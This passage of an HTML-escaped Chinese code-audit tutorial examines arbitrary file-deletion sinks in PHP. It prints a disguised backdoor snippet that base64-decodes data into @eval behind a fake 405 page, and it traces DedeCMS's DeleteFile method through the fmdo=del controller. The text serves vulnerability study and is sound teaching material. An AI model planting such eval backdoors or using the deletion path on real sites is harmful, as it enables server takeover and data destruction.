17);\"\u003E''\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eforeach\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$arr\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eas\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$k\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$v\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$k\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E] \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'd'\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E&&\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$k\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E5\u003C\u002Fspan\u003E] \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'd'\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$template_source\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estr_replace\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$v\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E''\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$password\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   }}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$template_source\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Ebase64_decode\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$template_source\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$template_source\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Ebase64_decode\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$template_source\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$key\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'template_source'\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$aes_decode\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E]\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$key\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003E@eval\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$aes_decode\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E]);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$NkM1M7\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"..............\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E( \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Ecount\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$_REQUEST\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E||\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Efile_get_contents\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"php:\u002F\u002Finput\"\u003C\u002Fspan\u003E) ){\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E}\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelse\u003C\u002Fspan\u003E{\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Eheader\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'Content-Type:text\u002Fhtml;charset=utf-8'\u003C\u002Fspan\u003E);    \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Ehttp_response_code\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E405\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eecho\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Ebase64_decode\u003C\u002Fspan\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F**\u002F\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$NkM1M7\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E}\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E我们可以看到这个参数其实是不能控制的\u003C\u002Fp\u003E\u003Cp\u003E`aes_decode[1]就是 $key,等价于$template_source\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$template_source\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estr_replace\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$v\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E''\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$password\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E来源于$password\u003C\u002Fp\u003E\u003Cp\u003E而其中 password 是固定的,所以不可以控制\u003C\u002Fp\u003E\u003Ch3\u003E案例 2\u003C\u002Fh3\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" src=\"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002Fcda2fcef-f5a3-4655-a9e2-77eb047037fc.png\" width=\"720\" height=\"251.35714285714286\"\u003E\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Efunction\u003C\u002Fspan\u003E \u003Cspan class=\"cm-def\" style=\"box-sizing: border-box; color: rgb(0, 0, 255);\"\u003EDeleteFile\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$filename\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$filename\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EbaseDir\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EactiveDir\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$filename\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Eis_file\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$filename\u003C\u002Fspan\u003E))\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003E@unlink\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$filename\u003C\u002Fspan\u003E); \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$t\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"文件\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelse\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$t\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"目录\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EallowDeleteDir\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ERmDirFiles\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$filename\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           } \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelse\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002F 完善用户体验,by:sumic\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EShowMsg\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"系统禁止删除\"\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$t\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"!\"\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"file_manage_main.php?activepath=\"\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EactiveDir\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eexit\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EShowMsg\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"成功删除一个\"\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$t\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"!\"\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"file_manage_main.php?activepath=\"\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$this\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EactiveDir\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ereturn\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E}\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E是一个方法,这种需要寻找调用这个方法的地方\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelse\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fmdo\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"del\"\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E{\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$fmm\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EDeleteFile\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$filename\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E}\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E这种是一个典型的控制器,根据 fmdo 来选择对应的操作\u003C\u002Fp\u003E\u003Cp\u003E不过根据所在的文件的注释\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F**\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* 文件管理控制\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E*\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* @version       $Id: file_manage_control.php 1 8:48 2010年7月13日 $\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* @package       DedeCMS.Administrator\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* @founder       IT柏拉图, https:\u002F\u002Fweibo.com\u002Fitprato\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* @author         DedeCMS团队\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* @copyright     Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* @license       